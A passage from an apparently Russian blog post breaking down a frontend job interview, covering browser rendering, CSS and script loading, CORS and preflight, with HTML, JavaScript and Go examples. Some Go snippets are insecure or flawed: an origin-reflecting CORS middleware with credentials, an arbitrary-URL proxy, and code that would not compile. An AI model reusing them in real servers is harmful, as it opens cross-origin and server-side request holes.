Перейти к основному содержимому

ДАЛИ ОТКАЗ ИЗ-ЗА СЛИШКОМ ХОРОШИХ ОТВЕТОВ!? РЕАЛЬНОЕ СОБЕСЕДОВАНИЕ FRONTEND НА 300К В СБЕР

· 101 мин. чтения

Сегодня мы разберем собеседование на позицию фронтенд-разработчика, в ходе которого кандидат продемонстрировал глубокое понимание процессов рендеринга в браузере, работы с сетью (DNS, TCP, CORS) и управления состоянием (Redux). Несмотря на некоторые пробелы в тонкостях безопасности и работе с современными API, кандидат показал себя как уверенный специалист уровня Middle+, способный уверенно решать практические задачи по оптимизации React-приложений.

Вопрос 1. Что происходит после ввода URL в адресную строку браузера до отображения готовой страницы?

Таймкод: 00:01:00

Ответ собеседника: Правильный. Сначала парсится URL и ищется IP-адрес через DNS: проверяется кэш браузера, роутера, устройства, затем DNS-сервер. После получения IP устанавливается TCP-соединение через трёхстороннее рукопожатие. Затем отправляется запрос HTML-страницы, которая преобразуется в DOM-дерево, строится render-дерево, рассчитываются размеры и позиции элементов (layout), происходит отрисовка (paint) и композитинг (composite).

Правильный ответ:

Ответ собеседника в целом верный и покрывает основные этапы. Ниже приведено более детальное описание каждого шага для полноты картины.

1. Парсинг URL

Браузер разбирает введённый URL на компоненты: протокол (http/https), доменное имя, порт, путь, параметры запроса и якорь. Если протокол не указан, по умолчанию подставляется http:// или https://. Если введён просто домен без пути, используется корневой путь /.

2. Проверка кэша браузера

Браузер сначала проверяет свой собственный кэш — если ресурс уже загружался ранее и заголовки кэширования (Cache-Control, Expires, ETag) позволяют использовать кэшированную версию, запрос в сеть не отправляется.

3. DNS-резолвинг

Если кэш браузера не содержит нужной записи, происходит поиск IP-адреса:

  • Проверяется кэш браузера (DNS-кэш)
  • Проверяется файл hosts операционной системы
  • Проверяется кэш ОС
  • Запрос отправляется к локальному DNS-резолверу (обычно провайдера)
  • Если резолвер не знает ответ, он выполняет рекурсивный поиск: корневые DNS-серверы → TLD-серверы → авторитативные серверы домена

Для HTTPS также может использовать DNS over HTTPS (DoH) или DNS over TLS (DoT) для шифрования DNS-запросов.

4. Установка TCP-соединения (трёхстороннее рукопожатие)

После получения IP-адреса браузер устанавливает TCP-соединение через трёхэтапное рукопожатие:

  • SYN → клиент отправляет пакет SYN серверу
  • SYN-ACK → сервер отвечает SYN-ACK
  • ACK → клиент подтверждает ACK

Если используется HTTPS, после TCP происходит TLS-рукопожатие (обмен сертификатами, согласование шифра, обмен ключами), что добавляет дополнительный round-trip.

5. Отправка HTTP-запроса

Браузер формирует HTTP-запрос с методом (GET, POST и т.д.), заголовками (User-Agent, Accept, Accept-Encoding, Cookie, Referer и прочие) и телом (для POST). Запрос отправляется по установленному соединению.

6. Обработка запроса на сервере

Сервер принимает запрос, маршрутизирует его к соответствующему обработчику. В контексте Go-бэкенда это может выглядеть так:

func handler(w http.ResponseWriter, r *http.Request) {
// Логика обработки запроса
html := generateHTML()
w.Header().Set("Content-Type", "text/html; charset=utf-8")
w.WriteHeader(http.StatusOK)
w.Write([]byte(html))
}

Сервер может обращаться к базе данных, кэшу (Redis), другим микросервисам, формировать ответ.

7. Получение ответа

Сервер отправляет HTTP-ответ с кодом статуса (200, 301, 404, 500 и т.д.), заголовками (Content-Type, Set-Cookie, Location для редиректов) и телом (HTML, JSON и т.д.).

8. Парсинг HTML и построение DOM

Браузер начинает инкрементально парсить HTML и строит DOM-дерево (Document Object Model). Парсинг может быть прерван при встрече тегов <script> (если они не помечены async/defer), <link> для CSS, <img> и других ресурсов.

9. Загрузка дополнительных ресурсов

По мере парсинга HTML браузер обнаруживает ссылки на CSS, JavaScript, изображения, шрифты и начинает их загрузку. Каждый ресурс проходит аналогичный цикл: DNS → TCP → запрос → ответ.

10. Построение CSSOM

CSS парсится и строится CSSOM (CSS Object Model). Внешние CSS-файлы блокируют рендеринг до их загрузки и парсинга.

11. Выполнение JavaScript

JavaScript может модифицировать DOM и CSSOM. Скрипты без defer/async блокируют парсинга HTML. Скрипты с defer выполняются после парсинга DOM, с async — как только загрузятся.

12. Построение Render Tree

Браузер объединяет DOM и CSSOM в Render Tree. В Render Tree включаются только видимые элементы (display: none исключается, visibility: hidden включается).

13. Layout (Reflow)

Рассчитываются точные размеры и позиции каждого элемента в Render Tree. Этот процесс называется layout или reflow.

14. Paint

Браузер определяет визуальные свойства элементов (цвета, градиенты, тени, изображения) и заполняет пиксели.

15. Compositing

Отдельные слои объединяются в финальное изображение, которое отображается на экране. Композитинг может использовать GPU для ускорения.

Дополнительные важные моменты:

  • HTTP/2 и HTTP/3 — современные протоколы позволяют мультиплексировать запросы в одном соединении, что ускоряет загрузку
  • Server-Side Rendering (SSR) — сервер может отправлять уже сгенерированный HTML, что ускоряет First Contentful Paint
  • Critical Rendering Path — оптимизация последовательности загрузки и рендеринга для максимально быстрого отображения контента
  • Preload, Prefetch, Preconnect — директивы для оптимизации загрузки ресурсов
  • Service Workers — могут перехватывать сетевые запросы и кэшировать ресурсы на уровне приложения

Вопрос 2. Что происходит, когда браузер натыкается на подключённый файл со стилей CSS — продолжает рендерить страницу или блокирует рендеринг?

Таймкод: 00:03:23

Ответ собеседника: Неполный. Скрипты могут блокировать рендер, чтобы этого избежать можно подгружать их после рендера или использовать async/defer. На вопрос про CSS ответил, что не уверен, но упомянул возможность подключения стилей через тег style в body и инлайн-стили.

Правильный ответ:

CSS является блокирующим ресурсом для рендеринга (render-blocking), но не является блокирующим для парсинга HTML. Это важное различие.

Как работает блокировка CSS:

Когда браузер встречает тег <link rel="stylesheet"> в HTML, он продолжает парсить HTML (строить DOM), но блокирует рендеринг до тех пор, пока CSS-файл не будет загружен и распарсен, а CSSOM не будет построен. Это сделано для того, чтобы избежать мерцания контента без стилей (FOUC — Flash of Unstyled Content).

Почему CSS блокирует рендеринг:

JavaScript может обращаться к стилям элементов через getComputedStyle(), getBoundingClientRect() и другие API. Если бы рендеринг происходил до загрузки CSS, JavaScript мог бы получить некорректные значения стилей. Поэтому браузер ждёт построения CSSOM перед началом рендеринга.

Способы оптимизации загрузки CSS:

1. Разделение на критический и некритический CSS

Критический CSS (styles needed for above-the-fold content) встраивается инлайн в <head>:

<head>
<style>
/* Критические стили для первого экрана */
body { margin: 0; font-family: sans-serif; }
.header { background: #333; color: white; }
</style>
<!-- Некритические CSS загружаются асинхронно -->
<link rel="preload" href="non-critical.css" as="style" onload="this.onload=null;this.rel='stylesheet'">
<noscript><link rel="stylesheet" href="non-critical.css"></noscript>
</head>

2. Использование медиа-запросов

Стили, применяемые только при определённых условиях, не блокируют рендеринг для текущего контекста:

<!-- Блокирует только при печати -->
<link rel="stylesheet" href="print.css" media="print">

<!-- Блокирует только на экранах шириной от 768px -->
<link rel="stylesheet" href="desktop.css" media="(min-width: 768px)">

<!-- Всегда блокирует (default) -->
<link rel="stylesheet" href="all.css" media="all">

3. Инлайн-стили и тег style в body

Тег <style> внутри <body> и инлайн-стили через атрибут style не требуют дополнительных сетевых запросов, но увеличивают размер HTML и не кэшируются отдельно. Это может быть полезно для критических стилей, но не масштабируется для больших проектов.

Отличие от JavaScript:

В отличие от CSS, JavaScript (без async/defer) блокирует не только рендеринг, но и парсинг HTML. Браузер останавливает парсинг DOM при встрече <script>, загружает и выполняет его, а затем продолжает парсинг. Именно поэтому рекомендуется размещать скрипты перед закрывающим тегом </body> или использовать атрибуты async/defer.

Порядок обработки в Critical Rendering Path:

  1. Парсинг HTML → построение DOM
  2. Загрузка CSS → построение CSSOM (блокирует рендеринг)
  3. Выполнение JavaScript (блокирует парсинг и рендеринг)
  4. Объединение DOM + CSSOM → Render Tree
  5. Layout → Paint → Composite

Вопрос 3. Что произойдёт, если подключить основной файл стилей не в head, а в конце HTML-документа — как браузер обработает стили в head и в конце документа?

Таймкод: 00:04:36

Ответ собеседника: Неполный. Предположил, что сначала применятся одни стили, потом другие. Не упомянул проблему FOUC (мелькание нестилизованного контента) и блокирующее поведение CSS.

Правильный ответ:

Размещение основного файла стилей в конце HTML-документа (перед закрывающим </body>) приводит к нескольким серьёзным проблемам и является антипаттерном.

Что происходит при таком размещении:

1. FOUC (Flash of Unstyled Content)

Это главная проблема. Браузер парсит HTML инкрементально и начинает отображать контент по мере его поступления. Когда стили подключены в конце документа:

  • Сначала пользователь видит весь HTML-контент без стилей — голый текст, стандартные шрифты, элементы в потоке документа
  • Как только браузер доходит до <link> с CSS в конце, он загружает файл и перестраивает рендеринг
  • Страница «прыгает» — элементы меняют позиции, размеры, цвета, шрифты

Это создаёт крайне неприятный пользовательский опыт.

2. Блокировка рендеринга откладывается

Когда CSS находится в <head>, браузер блокирует рендеринг сразу и показывает страницу только когда стили загружены. Когда CSS в конце — браузер не знает, что стили ещё не загружены, и рендерит нестилизованный контент.

3. Перестроение макета (reflow)

После загрузки CSS браузер вынужден пересчитать layout для всего уже отрендеренного контента. Это вызывает дополнительную нагрузку на производительность и визуально заметное «прыгание» элементов.

Как это выглядит на практике:

<!-- Плохо: CSS в конце документа -->
<body>
<header>Логотип</header>
<main>
<h1>Заголовок</h1>
<p>Текст без стилей...</p>
<button>Кнопка</button>
</main>
<footer>Подвал</footer>

<!-- Пользователь видит всё выше без стилей -->
<link rel="stylesheet" href="styles.css">
</body>
<!-- Правильно: CSS в head -->
<head>
<link rel="stylesheet" href="styles.css">
</head>
<body>
<!-- Контент появится уже со стилями -->
<header>Логотип</header>
<main>
<h1>Заголовок</h1>
<p>Текст со стилями...</p>
<button>Кнопка</button>
</main>
<footer>Подвал</footer>
</body>

Исключения и нюансы:

1. Критический CSS инлайн + основной CSS асинхронно

Если критические стили встроены инлайн в <head>, а основной CSS загружается асинхронно, это допустимый паттерн оптимизации:

<head>
<style>
/* Критические стили для первого экрана */
body { margin: 0; }
.header { height: 60px; }
</style>
<!-- Основные стили загружаются без блокировки -->
<link rel="preload" href="main.css" as="style"
onload="this.onload=null;this.rel='stylesheet'">
</head>

2. Тег style в body

HTML5 допускает размещение <style> внутри <body> (с атрибутом scoped, который сейчас deprecated), но <link> в body формально не соответствует спецификации HTML, хотя браузеры это обрабатывают.

3. Разница в поведении с JavaScript

JavaScript в конце body — это нормальная практика (не блокирует парсинг HTML). CSS в конце body — антипаттерн. Это принципиальное отличие.

Итог:

CSS следует подключать в <head>. Если нужна оптимизация загрузки — используйте инлайн-критический CSS + асинхронную загрузку остальных стилей, разделение по медиа-запросам, или технику preload.

Вопрос 4. Как загрузить CSS-стили так, чтобы они не блокировали рендеринг страницы?

Таймкод: 00:05:00

Ответ собеседника: Неполный. Упомянул про критический CSS и вынесение его инлайн. Не назвал способ с media-атрибутами или preload для асинхронной загрузки стилей.

Правильный ответ:

Существует несколько техник загрузки CSS без блокировки рендеринга. Каждая имеет свои преимущества и сценарии применения.

1. Инлайн критического CSS (Critical CSS)

Самый эффективный подход — выделить стили, необходимые для отображения контента выше скролла (above-the-fold), и встроить их инлайн в <head>. Остальные стили загружаются асинхронно.

<head>
<style>
/* Критические стили для первого экрана */
body { margin: 0; font-family: system-ui, sans-serif; }
.header {
position: fixed; top: 0; left: 0; right: 0;
height: 64px; background: #1a1a2e;
}
.hero {
min-height: 100vh; display: flex;
align-items: center; justify-content: center;
}
.btn {
padding: 12px 24px; background: #e94560;
color: white; border: none; border-radius: 8px;
}
</style>

<!-- Некритические стили загружаются без блокировки -->
<link rel="preload" href="full-styles.css" as="style"
onload="this.onload=null;this.rel='stylesheet'">
<noscript>
<link rel="stylesheet" href="full-styles.css">
</noscript>
</head>

JavaScript-код onload="this.onload=null;this.rel='stylesheet'" меняет значение атрибута rel с preload на stylesheet после загрузки, применяя стили без перезагрузки страницы. <noscript> обеспечивает загрузку стилей при отключённом JavaScript.

2. Использование медиа-запросов

CSS-файлы с медиа-запросами, которые не соответствуют текущему контексту, загружаются браузером, но не блокируют рендеринг:

<!-- Блокирует рендеринг только при печати -->
<link rel="stylesheet" href="print.css" media="print">

<!-- Блокирует только на больших экранах -->
<link rel="stylesheet" href="desktop.css" media="(min-width: 1024px)">

<!-- Блокирует только на мобильных -->
<link rel="stylesheet" href="mobile.css" media="(max-width: 768px)">

<!-- Всегда блокирует (по умолчанию) -->
<link rel="stylesheet" href="global.css" media="all">

Оптимизация: разбить один большой CSS-файл на несколько по медиа-запросам. Браузер загрузит все, но заблокирует рендеринг только для тех, чьи медиа-запросы совпадают.

3. Атрибут rel="preload" с динамическим применением

Современный подход с использованием preload для приоритетной загрузки:

<head>
<!-- Preload загружает файл с высоким приоритетом, но не применяет -->
<link rel="preload" href="styles.css" as="style"
onload="this.rel='stylesheet'">
<noscript><link rel="stylesheet" href="styles.css"></noscript>
</head>

4. CSS Containment

CSS-свойство contain позволяет браузеру изолировать часть DOM-дерева, что оптимизирует рендеринг:

.card {
contain: content; /* или layout, style, paint, strict */
}

Это не убирает блокировку CSS напрямую, но снижает стоимость reflow/repaint.

5. HTTP/2 Server Push (устаревающий подход)

Сервер может отправить CSS-файл до того, как клиент его запросил:

// Пример на Go с использованием HTTP/2 Push
func handler(w http.ResponseWriter, r *http.Request) {
if pusher, ok := w.(http.Pusher); ok {
// Отправляем CSS через Server Push
pusher.Push("/static/styles.css", nil)
}
// ... рендеринг HTML
}

Примечание: Server Push поддерживается не всеми браузерами и считается устаревающим подходом в пользу preload.

6. Оптимизация через сборщики

Современные инструменты сборки автоматизируют извлечение критического CSS:

  • Critical (npm-пакет) — извлекает критический CSS для заданного viewport
  • Penthouse — генерирует critical CSS
  • critters (для Webpack) — автоматически инлайнит critical CSS и lazy-loadит остальное

Сравнение подходов:

ПодходСложностьЭффектПоддержка
Инлайн критического CSSСредняяВысокийВсе браузеры
Медиа-запросыНизкаяСреднийВсе браузеры
Preload + onloadНизкаяВысокийСовременные
CSS ContainmentНизкаяСреднийСовременные

Рекомендуемая стратегия:

Для большинства проектов оптимальная комбинация — инлайн критического CSS для первого экрана + preload для остальных стилей + разделение по медиа-запросам при необходимости.

Вопрос 5. Какие способы отложенной загрузки скриптов существуют и есть ли разница между async и defer?

Таймкод: 00:05:34

Ответ собеседника: Правильный. Упомянул async и defer. Объяснил, что async не соблюдает порядок загрузки скриптов, а defer загружает по порядку. Также отметил, что defer срабатывает до события DOMContentLoaded.

Правильный ответ:

Ответ собеседника корректен. Ниже приведено более детальное описание для полноты картины.

Три режима загрузки скриптов:

1. Обычное поведение (без атрибутов)

<script src="script.js"></script>

Браузер при встрече такого тега останавливает парсинг HTML, загружает и выполняет скрипт, затем продолжает парсинг. Это блокирует как парсинг, так и рендеринг.

2. async (асинхронная загрузка)

<script async src="script.js"></script>
  • Загрузка скрипта происходит параллельно с парсингом HTML (не блокирует парсинг)
  • Выполнение происходит сразу после загрузки, прерывая парсинг HTML
  • Порядок выполнения не гарантирован — скрипты выполняются в порядке загрузки
  • Подходит для независимых скриптов: аналитика, реклама, счётчики

3. defer (отложенное выполнение)

<script defer src="script.js"></script>
  • Загрузка происходит параллельно с парсингом HTML
  • Выполнение откладывается до полного завершения парсинга HTML
  • Порядок выполнения сохраняется — скрипты выполняются в порядке объявления
  • Выполнение происходит перед событием DOMContentLoaded
  • Подходит для скриптов, которые зависят от DOM или друг от друга

Наглядное сравнение:

Обычный script:
HTML parsing: ████ [download] [execute] ████████████
↑ блокировка

async:
HTML parsing: ██████████████████████████████████████
Download: ██████ [execute] ↑ прерывание парсинга

defer:
HTML parsing: ██████████████████████████████████████
Download: ██████
Execute: ↑ после парсинга, перед DOMContentLoaded

Практические примеры использования:

<head>
<!-- Аналитика — не зависит от DOM, порядок не важен -->
<script async src="https://analytics.example.com/tracker.js"></script>

<!-- Основной скрипт приложения — зависит от DOM -->
<script defer src="app.js"></script>

<!-- Библиотека и скрипт, зависящий от неё — порядок важен -->
<script defer src="jquery.js"></script>
<script defer src="plugins.js"></script>
</head>

Дополнительные способы отложенной загрузки:

4. Динамическое создание скриптов

// Загрузка скрипта по требованию
function loadScript(src) {
const script = document.createElement('script');
script.src = src;
script.async = true; // по умолчанию для динамических скриптов
document.head.appendChild(script);
}

// Загрузка при необходимости
if (needAnalytics) {
loadScript('/analytics.js');
}

5. type="module"

<script type="module" src="app.mjs"></script>

Модули ES6 по умолчанию ведут себя как defer — загружаются параллельно, выполняются после парсинга HTML, порядок сохраняется.

6. Intersection Observer для ленивой загрузки

// Загрузка скрипта при появлении элемента в viewport
const observer = new IntersectionObserver((entries) => {
entries.forEach(entry => {
if (entry.isIntersecting) {
loadScript('/heavy-widget.js');
observer.unobserve(entry.target);
}
});
});

observer.observe(document.querySelector('.widget-container'));

Когда что использовать:

СценарийРекомендация
Аналитика, счётчикиasync
Основной скрипт приложенияdefer
Скрипты с зависимостямиdefer
Независимые виджетыasync
Скрипты, которые нужны не сразудинамическая загрузка
ES6-модулиtype="module"

Вопрос 6. Что такое CORS и как он работает?

Таймкод: 00:06:45

Ответ собеседника: Правильный. CORS — это браузерная политика безопасности, ограничивающая кросс-доменные запросы для защиты от мошеннических сайтов. Регулируется сервером через заголовки (origin headers). Перед кросс-доменным запросом отправляется preflight-запрос (OPTIONS), который проверяется браузером, и только при успешной проверке отправляется основной запрос.

Правильный ответ:

Ответ собеседника корректен. Ниже приведено более детальное описание.

Что такое CORS:

CORS (Cross-Origin Resource Sharing) — механизм безопасности, реализованный в браузерах, который контролирует доступ веб-страниц к ресурсам с другого источника (origin). Origin определяется комбинацией протокола, домена и порта.

https://example.com:443/api/users
├─┬──────┘ ├──────┬─────┘ ├┬┘
protocol host port path

Origin: https://example.com (protocol + host + port)

Same-Origin Policy (SOP):

По умолчанию браузеры блокируют кросс-доменные запросы из JavaScript (fetch, XMLHttpRequest). CORS — механизм, позволяющий серверу явно разрешить такие запросы.

Простые запросы (Simple Requests):

Не вызывают preflight, если соответствуют всем условиям:

  • Метод: GET, HEAD или POST
  • Заголовки: только CORS-safelisted (Accept, Accept-Language, Content-Language, Content-Type)
  • Content-Type: только application/x-www-form-urlencoded, multipart/form-data, text/plain
// Простой запрос — без preflight
fetch('https://api.example.com/data')
.then(response => response.json())
.then(data => console.log(data));

Заголовки ответа сервера:

Access-Control-Allow-Origin: https://mysite.com
Access-Control-Allow-Credentials: true

Preflight-запрос (Non-simple Requests):

Для запросов, не соответствующих критериям простых, браузер сначала отправляет OPTIONS-запрос:

// Вызовет preflight из-за Content-Type: application/json
fetch('https://api.example.com/data', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-Custom-Header': 'value'
},
body: JSON.stringify({ key: 'value' })
});

Схема preflight:

Браузер Сервер
| |
|--- OPTIONS /data ------------>|
| Origin: https://mysite.com |
| Access-Control-Request-Method: POST |
| Access-Control-Request-Headers: content-type, x-custom-header |
| |
|<-- 200 OK --------------------|
| Access-Control-Allow-Origin: https://mysite.com |
| Access-Control-Allow-Methods: GET, POST, PUT |
| Access-Control-Allow-Headers: content-type, x-custom-header |
| Access-Control-Max-Age: 86400 |
| |
|--- POST /data --------------->|
| (основной запрос) |
| |
|<-- 200 OK --------------------|
| (данные) |

Реализация CORS на Go:

package main

import (
"net/http"
"strings"
)

// CORS middleware
func corsMiddleware(allowedOrigins []string) func(http.Handler) http.Handler {
return func(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
origin := r.Header.Get("Origin")

// Проверяем, разрешён ли origin
for _, allowed := range allowedOrigins {
if allowed == "*" || allowed == origin {
w.Header().Set("Access-Control-Allow-Origin", origin)
break
}
}

// Preflight-запрос
if r.Method == http.MethodOptions {
w.Header().Set("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE, OPTIONS")
w.Header().Set("Access-Control-Allow-Headers", "Content-Type, Authorization, X-Custom-Header")
w.Header().Set("Access-Control-Allow-Credentials", "true")
w.Header().Set("Access-Control-Max-Age", "86400")
w.WriteHeader(http.StatusNoContent)
return
}

next.ServeHTTP(w, r)
})
}
}

func main() {
mux := http.NewServeMux()
mux.HandleFunc("/api/data", func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "application/json")
w.Write([]byte(`{"message": "Hello, CORS!"}`))
})

handler := corsMiddleware([]string{
"https://mysite.com",
"https://app.mysite.com",
})(mux)

http.ListenAndServe(":8080", handler)
}

Использование библиотеки rs/cors:

import "github.com/rs/cors"

func main() {
mux := http.NewServeMux()
mux.HandleFunc("/api/data", dataHandler)

c := cors.New(cors.Options{
AllowedOrigins: []string{"https://mysite.com"},
AllowedMethods: []string{"GET", "POST", "PUT", "DELETE"},
AllowedHeaders: []string{"Content-Type", "Authorization"},
AllowCredentials: true,
MaxAge: 86400,
})

handler := c.Handler(mux)
http.ListenAndServe(":8080", handler)
}

Ключевые заголовки CORS:

ЗаголовокНазначение
Access-Control-Allow-OriginРазрешённые origin (* или конкретный)
Access-Control-Allow-MethodsРазрешённые HTTP-методы
Access-Control-Allow-HeadersРазрешённые заголовки
Access-Control-Allow-CredentialsРазрешены ли cookies/авторизация
Access-Control-Max-AgeВремя кэширования preflight (секунды)
Access-Control-Expose-HeadersЗаголовки, доступные клиенту

Важные нюансы:

  • Access-Control-Allow-Origin: * несовместим с Allow-Credentials: true
  • Сервер должен явно обрабатывать OPTIONS для preflight
  • CORS — браузерная защита; сервер-к-сервер запросы не ограничены

Вопрос 7. Что было до появления CORS — существовали ли другие политики ограничения кросс-доменных запросов?

Таймкод: 00:08:30

Ответ собеседника: Неполный. Предположил, что до CORS обмен между ресурсами был свободным. Упомянул Content Security Policy и origin policy, но не назвал SOP (Same-Origin Policy) как прямого предшественника CORS.

Правильный ответ:

До CORS не было свободного обмена — действовала Same-Origin Policy (SOP), которая была ещё более строгой и блокировала практически все кросс-доменные запросы.

Хронология развития:

1. Ранний веб (до ~1995) — отсутствие ограничений

В самых ранних браузерах не было чёткой политики безопасности. Страница могла свободно обращаться к ресурсам с других доменов через фреймы, скрипты и другие механизмы. Это создавало серьёзные уязвимости.

2. Same-Origin Policy (1995, Netscape Navigator 2.0)

Netscape ввела SOP как ответ на растущие угрозы безопасности. SOP запрещала:

  • Чтение ответов кросс-доменных запросов (XMLHttpRequest, fetch)
  • Доступ к DOM фреймов с другим origin
  • Чтение cookies другого домена

Что SOP запрещала, а CORS разрешает:

ОперацияSOPCORS
Загрузка скриптов с другого доменаРазрешенаРазрешена
Загрузка изображений, CSSРазрешенаРазрешена
Отправка форм POSTРазрешенаРазрешена
Чтение ответа XMLHttpRequestЗапрещенаРазрешена с заголовками CORS
Доступ к DOM iframe с другим originЗапрещенаРазрешена через postMessage

3. Проблемы SOP и появление CORS

SOP была слишком строгой для развивающегося веба:

  • Невозможно было создавать API для сторонних приложений
  • Нельзя было загружать данные с других доменов
  • Разработчики использовали обходные пути: JSONP, прокси-серверы, flash

4. Обходные пути до CORS:

JSONP (JSON with Padding) — использовал тот факт, что <script> не подчиняется SOP:

function handleResponse(data) {
console.log(data);
}

const script = document.createElement('script');
script.src = 'https://api.example.com/data?callback=handleResponse';
document.head.appendChild(script);

// Сервер отвечает:
// handleResponse({"name": "John", "age": 30});

Недостатки JSONP: только GET-запросы, нет обработки ошибок, уязвимость к XSS.

Прокси-серверы:

// Прокси на Go для обхода SOP
func proxyHandler(w http.ResponseWriter, r *http.Request) {
targetURL := r.URL.Query().Get("url")

resp, err := http.Get(targetURL)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
defer resp.Body.Close()

body, _ := io.ReadAll(resp.Body)
w.Header().Set("Content-Type", resp.Header.Get("Content-Type"))
w.Write(body)
}

5. Появление CORS (2009–2014)

CORS был разработан как стандартизированный способ ослабления SOP с согласия сервера:

  • 2009 — первый черновик W3C
  • 2014 — рекомендация W3C (Recommendation)
  • Поддержка всеми современными браузерами

Content Security Policy (CSP):

CSP — отдельный механизм безопасности, появившийся позже (2012), который контролирует, какие ресурсы может загружать страница:

Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; connect-src https://api.example.com

CSP дополняет CORS, но решает другие задачи — защита от XSS и контроль источников контента.

Итог:

CORS не заменил свободный обмен — он заменил полный запрет (SOP) на контролируемый обмен с согласия сервера. SOP по-прежнему действует как базовая политика безопасности, а CORS — механизм для её контролируемого ослабления.

Вопрос 8. Какие условия делают кросс-доменный запрос сложным (непростым), требующим preflight-запроса?

Таймкод: 00:10:02

Ответ собеседника: Правильный. Простые запросы — это GET или POST без дополнительных заголовков и тела. Все остальные запросы считаются сложными и требуют preflight. Уточнил, что технически GET может содержать тело, но это ограничение REST-архитектуры.

Правильный ответ:

Ответ собеседника в целом верен, но требует уточнений. Ниже приведены точные критерии.

Критерии простого запроса (Simple Request):

Запрос считается простым и не вызывает preflight только если одновременно выполняются все следующие условия:

1. Метод запроса:

Допустимы только: GET, HEAD, POST

Любой другой метод (PUT, DELETE, PATCH, OPTIONS) автоматически делает запрос сложным.

2. Заголовки (CORS-safelisted):

Разрешены только автоматически устанавливаемые заголовки браузера и ограниченный набор явных заголовков:

  • Accept
  • Accept-Language
  • Content-Language
  • Content-Type (только с определёнными значениями)
  • Range (только с простыми значениями)

Любой другой заголовок делает запрос сложным:

// Сложный запрос — кастомный заголовок
fetch('https://api.example.com/data', {
headers: {
'X-API-Key': 'secret', // ← кастомный заголовок
'Authorization': 'Bearer token' // ← кастомный заголовок
}
});

3. Content-Type (если присутствует):

Допустимы только три значения:

  • application/x-www-form-urlencoded
  • multipart/form-data
  • text/plain
// Простой запрос
fetch('https://api.example.com/data', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: 'name=John&age=30'
});

// Сложный запрос — Content-Type: application/json
fetch('https://api.example.com/data', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ name: 'John', age: 30 })
});

4. Дополнительные ограничения:

  • На XMLHttpRequest не должны быть зарегистрированы обработчики событий upload
  • В запросе не должен использоваться объект ReadableStream

Что точно вызывает preflight:

УсловиеПример
Метод PUT/DELETE/PATCHfetch(url, { method: 'DELETE' })
Content-Type: application/jsonСамый частый случай
Кастомные заголовкиX-API-Key, Authorization
Content-Type: text/xmlXML-запросы

Практический пример — реализация на Go:

package main

import (
"net/http"
"strings"
)

func apiHandler(w http.ResponseWriter, r *http.Request) {
// Определяем, нужен ли preflight
if r.Method == http.MethodOptions {
// Проверяем, что запрашивает клиент
requestedMethod := r.Header.Get("Access-Control-Request-Method")
requestedHeaders := r.Header.Get("Access-Control-Request-Headers")

// Разрешаем запрошенные методы и заголовки
w.Header().Set("Access-Control-Allow-Origin", "https://mysite.com")
w.Header().Set("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE, OPTIONS")
w.Header().Set("Access-Control-Allow-Headers", "Content-Type, Authorization, X-API-Key")
w.Header().Set("Access-Control-Allow-Credentials", "true")
w.Header().Set("Access-Control-Max-Age", "86400")
w.WriteHeader(http.StatusNoContent)
return
}

// Основной запрос
w.Header().Set("Access-Control-Allow-Origin", "https://mysite.com")
w.Header().Set("Content-Type", "application/json")
w.Write([]byte(`{"status": "ok"}`))
}

func main() {
mux := http.NewServeMux()
mux.HandleFunc("/api/data", apiHandler)
http.ListenAndServe(":8080", mux)
}

Важный нюанс:

Технически GET-запросы могут содержать тело согласно HTTP-спецификации, но:

  • Это не поддерживается fetch/XHR API
  • Многие серверы и прокси игнорируют тело GET
  • Это не является частью REST-архитектуры — это ограничение браузерных API

Вопрос 9. Работает ли CORS на все типы запросов или можно настроить выборочное пропускание определённых методов?

Таймкод: 00:11:24

Ответ собеседника: Правильный. Предположил, что CORS работает на все запросы, но при уточнении вспомнил, что в настройках endpoint можно указать, какие методы пропускать, а какие нет.

Правильный ответ:

CORS можно гибко настраивать на уровне отдельных endpoint, методов, заголовков и origin. Сервер полностью контролирует, какие запросы пропускать.

Гранулярность настройки CORS:

1. По endpoint (разные правила для разных путей)

func main() {
mux := http.NewServeMux()

// Публичный API — разрешить всем
mux.Handle("/api/public", corsMiddleware(cors.Config{
AllowedOrigins: []string{"*"},
AllowedMethods: []string{"GET"},
})(publicHandler()))

// Приватный API — только конкретный origin
mux.Handle("/api/private", corsMiddleware(cors.Config{
AllowedOrigins: []string{"https://mysite.com"},
AllowedMethods: []string{"GET", "POST", "PUT", "DELETE"},
AllowedHeaders: []string{"Content-Type", "Authorization"},
AllowCredentials: true,
})(privateHandler()))

http.ListenAndServe(":8080", mux)
}

2. По HTTP-методу

func corsHandler(allowedMethods []string) func(http.Handler) http.Handler {
return func(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
origin := r.Header.Get("Origin")

// Проверяем origin
if !isAllowedOrigin(origin) {
http.Error(w, "CORS origin not allowed", http.StatusForbidden)
return
}

w.Header().Set("Access-Control-Allow-Origin", origin)

// Preflight — отвечаем только разрешёнными методами
if r.Method == http.MethodOptions {
w.Header().Set("Access-Control-Allow-Methods",
strings.Join(allowedMethods, ", "))
w.Header().Set("Access-Control-Allow-Headers", "Content-Type, Authorization")
w.Header().Set("Access-Control-Max-Age", "86400")
w.WriteHeader(http.StatusNoContent)
return
}

// Проверяем, разрешён ли метод для данного endpoint
if !isAllowedMethod(r.Method, allowedMethods) {
http.Error(w, "CORS method not allowed", http.StatusMethodNotAllowed)
return
}

next.ServeHTTP(w, r)
})
}
}

3. По origin (белый список)

func isAllowedOrigin(origin string) bool {
allowedOrigins := map[string]bool{
"https://mysite.com": true,
"https://app.mysite.com": true,
"https://admin.mysite.com": true,
}
return allowedOrigins[origin]
}

4. По заголовкам

func corsWithHeaders(allowedHeaders []string) func(http.Handler) http.Handler {
return func(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Access-Control-Allow-Origin", "https://mysite.com")

if r.Method == http.MethodOptions {
w.Header().Set("Access-Control-Allow-Headers",
strings.Join(allowedHeaders, ", "))
